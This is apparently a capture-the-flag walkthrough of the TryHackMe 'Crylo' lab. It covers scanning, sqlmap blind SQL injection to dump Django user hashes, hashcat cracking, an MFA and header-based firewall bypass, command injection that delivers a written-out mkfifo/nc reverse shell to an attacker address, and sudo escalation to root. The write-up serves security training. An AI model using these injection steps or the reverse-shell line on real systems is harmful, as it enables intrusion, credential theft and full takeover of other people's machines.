This was a great box, thanks to Anof for putting it together. It’s especially nice that the question set guides us through what to work on next so that we can concentrate on the how.
Link to room: https://tryhackme.com/room/crylo4a
Enumerate
We’ll start with an nmap scan and also attack the website with Zap at the same time.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
┌──(user㉿kali-linux-2022-2)-[~]
└─$ nmap -sC -sV 10.10.130.140
Starting Nmap 7.94 ( https://nmap.org ) at 2023-08-12 11:50 EDT
Nmap scan report for 10.10.130.140
Host is up (0.088s latency).
Not shown: 998 closed tcp ports (conn-refused)
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.5 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 9f:7e:08:42:ea:bf:be:1a:1b:78:b0:f7:99:3c:ca:1d (RSA)
| 256 f8:f3:90:83:b1:bc:87:e8:93:a0:ff:d5:bc:1f:d7:e1 (ECDSA)
|_ 256 b6:77:4d:a6:6d:73:79:15:ea:39:0c:f6:1b:b4:0b:6c (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-title: Spicyo
|_http-server-header: nginx/1.18.0 (Ubuntu)
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 29.34 seconds
Find the 403 directory
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
┌──(user㉿kali-linux-2022-2)-[~]
└─$ gobuster dir -w /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt --url http://10.10.83.156
===============================================================
Gobuster v3.5
by OJ Reeves (@TheColonial) & Christian Mehlmauer (@firefart)
===============================================================
[+] Url: http://10.10.83.156
[+] Method: GET
[+] Threads: 10
[+] Wordlist: /usr/share/dirbuster/wordlists/directory-list-2.3-small.txt
[+] Negative Status codes: 404
[+] User Agent: gobuster/3.5
[+] Timeout: 10s
===============================================================
2023/08/11 15:32:07 Starting gobuster in directory enumeration mode
===============================================================
/contact (Status: 200) [Size: 8858]
/about (Status: 200) [Size: 10720]
/blog (Status: 200) [Size: 11402]
/login (Status: 200) [Size: 13151]
/debug (Status: 403) [Size: 122]
/recipe (Status: 200) [Size: 13914]
Progress: 10890 / 87665 (12.42%)^C
[!] Keyboard interrupt detected, terminating.
Foothold
ZAP shows that the username
field on the login form is vulnerable to sqli.
Exploit sqli
Save a request to the login page from Zap to req.raw
to use in sqlmap. Be sure to open the file and clean the parameters of any of the test palyloads that ZAP was sending before starting sqlmap.
This is a blind, time-based attack so it will run very slowly. We’ll start by extracting the name of the current database, to limit our scope. In this first run, sqlmap will also learn how to exploit the database and save that technique for subsequent runs.
sqlmap -r req.raw -p "username" --random-agent --current-db
With this we learn the db is named food
Next we’ll get a list of tables so that we can dump just the one(s) we’re interested in.
sqlmap -r req.raw -p "username" --random-agent -D food --tables
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
[15:41:11] [INFO] fetching tables for database: 'food'
[15:41:11] [INFO] fetching number of tables for database 'food'
[15:41:11] [INFO] retrieved:
do you want sqlmap to try to optimize value(s) for DBMS delay responses (option '--time-sec')? [Y/n] y
1
[15:41:32] [INFO] adjusting time delay to 2 seconds due to good response times
3
[15:41:35] [INFO] retrieved: accounts_pin
[15:43:24] [INFO] retrieved: accounts_pintoken
[15:44:37] [INFO] retrieved: accounts_upload
[15:45:53] [INFO] retrieved: auth_group
[15:47:26] [INFO] retrieved: auth_group_permissions
[15:49:36] [INFO] retrieved: auth_permission
[15:51:13] [INFO] retrieved: auth_user
[15:51:57] [INFO] retrieved: auth_user_groups
[15:53:30] [INFO] retrieved: auth_user_user_permissions
[15:56:12] [INFO] retrieved: django_admin_log
[15:58:39] [INFO] retrieved: django_content_type
[16:00:53] [INFO] retrieved: django_migrations
[16:02:30] [INFO] retrieved: django_session
Let’s dump the auth_user
table:
sqlmap -r req.raw -p "username" --dump --random-agent -D food -T auth_user
This takes a long time to run, but eventually we get the table data returned. If you’re impatient, you can ctrl-c
out of the script once you have the first username and password hash. If you’re really impatient, try to predict what colum names you want and pull them individually. When I did the box, I used this time for coffee instead!
Crack admin Password
We need to crack the Django admin password hash from the auth_user
table. We have a hint from the THM question set that we’re going after the first user, which is good because the second user’s hash doesn’t match the expected Django format.
Copying the hash to hash
and running hashcat -m 10000 ./hash ./rockyou.txt
will get us the password for the first user.
Bypass MFA
Entering the username and password, we next get prompted for a pin code. Examinimg the javascript code in validation.js
on this page we find the excryption routing for the pin, but we also see a hint that another page exists that might allow us to reset it.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
[...]
var result = result.toString(CryptoJS.enc.Utf8);
//////////var jsonResponse = JSON.parse(xhr.responseText);
var jsonResponse = JSON.parse(result);
//alert(xhr.responseText);
//var jsonResponse = xhr.responseText;
console.log(jsonResponse);
if (jsonResponse.pin_set == "true") {
//Redirect to 2fa
//window.location.replace("/2fa");
//document.getElementsByClassName
document.getElementById("loginid").style.display = "none";
document.getElementById("enterpinid").style.display = "flex";
} else if (jsonResponse.pin_set == "false") {
//redirect to set pin
//window.location.replace("/set-pin");
document.getElementById("loginid").style.display = "none";
document.getElementById("createpinid").style.display = "flex";
} else {
// Invalid username/ password
alert(jsonResponse.reason);
}
}
xhr.open(oFormElement.method, oFormElement.action, true);
xhr.send(new FormData(oFormElement));
return false;
}
The Fast (and only) Path
Simply navigate to /set-pin
to create a new pin, and then log in with it.
🐇 Rabbit Hole: try to decrypt the pin
Based on the samples and keys in validation.js
we derive this code to decrypt pin:
1
2
3
4
5
6
7
8
9
10
var pass = "6p[redacted]is="
var key = "6L[redacted]al"; //length=22
var iv = "mH[redacted].e"; //length=22
key = CryptoJS.enc.Base64.parse(key);
iv = CryptoJS.enc.Base64.parse(iv);
var data = CryptoJS.AES.decrypt(pass, key, { iv: iv });
console.log(data)
console.log(data.toString(CryptoJS.enc.Utf8))
If you’re having trouble including
CryptoJS
in your code, simply copy and paste the contents of the file above this code in your IDE.
We can test our code with a known pin 12345
and use the browser’s back button to capture the encrypted string
After setting our pin, the encrypted value does come back to one that will decode with our script, so the script seems to be working. It won’t decrypt the pins from the database though. As far as I can tell, this isn’t an intended path.
Bypass Firewall
Task 4 gives us a pretty strong hint that we can bypass a firewall at this point with an extra http request header. This usually means setting an x-header to 127.0.0.1. There are a handful of common headers and we could do this by hand, but in the spirit of the game let’s fuzz for it. I found a great list to use on osamahamad’s Github.
If you’re using ZAP, the fuzzer will overwrite header content instead of inserting space. Make sure you pad in a large enough replace zone to accept your fuzzing content.
If we were going to enumerate the website further we could use Zap to add the new header to all of our requests. That isn’t the case here, so let’s just do it in the browser.
Add a plugin to Firefox to add the x-[redacted]: [redacted]
header to get to the /debug
endpoint. I went with one called ModHeader but others should work fine. Use a regular Firefox session, not one forwarded through Zap.
Become crylo
Exploit cli
With access to the /debug
page we find a tool for testing services.
There is a pretty straightforward command line injection flaw in this page, we just supply a port number, semicolon and a linux command. For clean output, choose a port that isn’t associated with anything.
We’ll send a reverse shell through the cli. I used:
rm -f /tmp/b; mkfifo /tmp/b; /bin/sh -i 2>&1 0</tmp/b | nc 10.6.1.1 4444 1>/tmp/b
From our reverse shell we can capture the user flag.
Become anof
There is a dump of the Django database in anof’s home directory. Just as in our sqli attack Anof’s password in the auth_user
table does not match the expected format. Older Django versions used unsalted MD5 but the hash doesn’t come back as an MD5 hash either .
🐇 Rabbit Hole: Decrypt with CryptoJS
When we were enumerating validation.js
we saw some suspicious encryption code with lines commented out and example code. It would be odd to do password encryption on the client, but this code didn’t work on the pin and with all of the commented out lines it’s begging us to dig deeper. Perhaps the same algorithm and keys are used on the server.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
[...]
function submitForm(oFormElement) {
var xhr = new XMLHttpRequest();
//xhr.responseType = 'json';
xhr.onload = function() {
var encryptedresp = xhr.responseText;
var k = "80[redacted]80";
var key = CryptoJS.enc.Utf8.parse(k);
var iv = CryptoJS.enc.Utf8.parse(k);
var item = encryptedresp;
var result = CryptoJS.AES.decrypt(item, key,
{
keySize: 128 / 4,
iv: iv,
mode: CryptoJS.mode.CBC,
padding: CryptoJS.pad.Pkcs7
})
[...]
function encrypt() {
var pass = document.getElementById('pin2').value; {
//document.getElementById("hide").value = document.getElementById("pin").value;
var key = "6L[redacted]al"; //length=22
var iv = "mH[redacted].e"; //length=22
key = CryptoJS.enc.Base64.parse(key);
iv = CryptoJS.enc.Base64.parse(iv);
var cipherData = CryptoJS.AES.encrypt(pass, key, {
iv: iv
});
//var data = CryptoJS.AES.decrypt(cipherData, key, { iv: iv });
//var encryptedAES = CryptoJS.AES.encrypt(pass, "1234567890");
//var decryptedBytes = CryptoJS.AES.decrypt(Message, "1234567890");
//var plaintext = decryptedBytes.toString(CryptoJS.enc.Utf8);
//var hash = CryptoJS.MD5(pass);
document.getElementById('pin2').value = cipherData;
return true;
console.log(document.getElementById('pin2').value)
}
}
function encrypt2() {
var pass = document.getElementById('pin3').value; {
//document.getElementById("hide").value = document.getElementById("pin").value;
var key = "6L[redacted]al"; //length=22
var iv = "mH[redacted].e"; //length=22
key = CryptoJS.enc.Base64.parse(key);
iv = CryptoJS.enc.Base64.parse(iv);
var cipherData = CryptoJS.AES.encrypt(pass, key, {
iv: iv
});
//var data = CryptoJS.AES.decrypt(cipherData, key, { iv: iv });
//var encryptedAES = CryptoJS.AES.encrypt(pass, "1234567890");
//var decryptedBytes = CryptoJS.AES.decrypt(Message, "1234567890");
//var plaintext = decryptedBytes.toString(CryptoJS.enc.Utf8);
//var hash = CryptoJS.MD5(pass);
document.getElementById('pin3').value = cipherData;
return true;
console.log(document.getElementById('pin3').value)
}
}
Some of this code was pulled directly from a StackOverflow question: CryptoJS and key/IV length
After endless fiddling with the code here and plugging both sets of keys/ivs into CyberChef’s AES decoder I wasn’t able to decode the hash from anof’s user record in the database.
Decrypt password with Python
Enumerating further on the server we find /home/crylo/Food/food/accounts/enc.py
We can use snippets of the sample code including the key and iv to decrypt the password:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
from base64 import b64encode, b64decode
import base64
from Crypto.Util.Padding import pad, unpad
from Crypto.Cipher import AES
from Crypto.Random import get_random_bytes
key = b'\xc9;[redacted]\xc3'
iv = b'!6\[redacted]\x91'
encoded = b64decode("VH[redacted]0=")
cipher2 = AES.new(key, AES.MODE_CBC, iv)
decoded = cipher2.decrypt(encoded)
decoded = unpad(decoded,16)
print(decoded)
We also could have done decrypt in CyberChef with hex representation of the keys as obtained here:
1
2
3
4
5
key = b'\xc9;[redacted]\xc3'
iv = b'!6\[redacted]\x91'
print(key.hex());
print(iv.hex());
Become root
anof can sudo
anything with no password.
1
2
3
4
5
6
7
8
9
(remote) anof@crylo:/home/anof$ sudo -l
[sudo] password for anof:
Matching Defaults entries for anof on crylo:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User anof may run the following commands on crylo:
(ALL : ALL) ALL
(remote) anof@crylo:/home/anof$ sudo su root
root@crylo:/home/anof#
From here we can capture the root flag.